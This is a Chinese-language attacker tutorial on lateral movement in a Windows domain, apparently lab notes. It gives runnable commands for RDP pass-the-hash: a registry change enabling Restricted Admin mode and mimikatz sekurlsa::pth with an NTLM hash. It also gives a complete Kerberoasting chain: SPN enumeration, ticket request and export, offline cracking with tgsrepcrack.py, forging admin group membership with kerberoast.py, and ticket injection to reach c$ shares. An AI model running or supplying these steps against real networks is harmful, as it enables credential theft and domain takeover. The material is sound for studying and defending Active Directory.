域横向移动RDP
除了之前分享到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。
RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断。(在Linux上面就是通过Xshell连接的SSHxeiy协议,在windows上面就是类似Linux的RDP协议)
明文密码链接RDP演示
Windows:mstsc
mstsc.exe /console /v192.168.3.21 /admin
linux:
rdesktop 192.168.3.21:3389
如果链接不成功说明对方远程桌面没有开启。
链接成功后直接输入明文密码即可链接对方远程桌面进行后续操作。
密文链接RDP演示
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,
同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;
开启命令:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行:
1.mstsc.exe /restrictedadmin
2.mimikatz.exe
3.privilege::debug
4.sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
域横向移动SPN
kerberos中的spn详解
简单了解SPN
spn是什么:
服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名(唯一cookie的标识,类似于token)。
Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。
#spn扫描:
spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”
SPN扫描通过LDAP(攻击者只需要获得一个普通的域用户权限,就可以进行SPN扫描)查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。
SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不要连接到网络上的每个IP来检查服务端口(不会因为触发内网中的IPS、IDS等防火墙设备的规则而产生大量的警告日志)。
SPN利用:
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在域控服务器上的一个或多个目标服务的服务票证。
DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。
请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。
黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。
如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
使用SPN攻击流程:
探针SPN服务、请求服务票据、导出服务票据、破解服务票据、重写服务票据
SPN利用流程
1探针
setspn -q */*
setspn -q */* | findstr "MSSQL"
2删除缓存票据,请求票据
klist purge
可以使用 powershell请求
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "服务名"
也可以使用mimikatz请求
mimikatz.exe "kerberos::ask /target:服务名"
查看票据
klist
3导出票据
# mimikatz
mimikatz.exe "kerberos::list /export"
4破解票据
破解工具tgsrepcrack.py python3环境运行
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
5重写票据
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
-u 500 u500指的是管理员用户
-g512指的是管理员组
6.将生成的票据注入内存
mimikatz.exe kerberos::ptt xxxx.kirbi
7.利用
dir //xxx.xxx.xxx.xxx/c$
演示
环境
1.探针
这里我们利用MSSQL
记录MSSQL 服务名后续会用到(MSSQLSvc/Srv-DB-0day.org:1433)
2.删除缓存票据,请求票据
执行请求Add-Type -AssemblyName System.IdentityModel:
在执行:
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “MSSQLSvc/Srv-DB-0day.org:1433”
查看klist,发现刚才请求的MSSQL票据已经在票据列表中了。
3导出票据
mimikatz.exe “kerberos::list /export”
可以看到已经成功到处刚才klist查看到的两个票据,我们选择MSSQL进行破解。
4.破解票据。
把刚才到处的MSSQL的票据复制到有tgsrepcrack.py工具的电脑中来,使用tgsrepcrack.py工具对票据中的密码进行破解。
tgsrepcrack.py下载地址
破解工具tgsrepcrack.py 需要python3环境运行
python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi
指定2个参数 passwd.txt 指定爆破密码字典, xxxx.kirbi 指定票据数据文件
可以看到已经成功爆破出来了密码。
注意这里破包出来的密码是我盟控制的主机去链接MSSQL数据库服务的密码,这种方式获得的密码我们后期可以放到密码字典中通过其他协议去跑域内主机。
5.重写票据(属于后续攻击,不一定会成功)
SPN总结:
SPN可以探针域内主机的常见服务,之所以选这些服务,因为这些服务存在服务账户和密码可以获取可以扩大爆破密码字典,可能会进行提权(看运气)。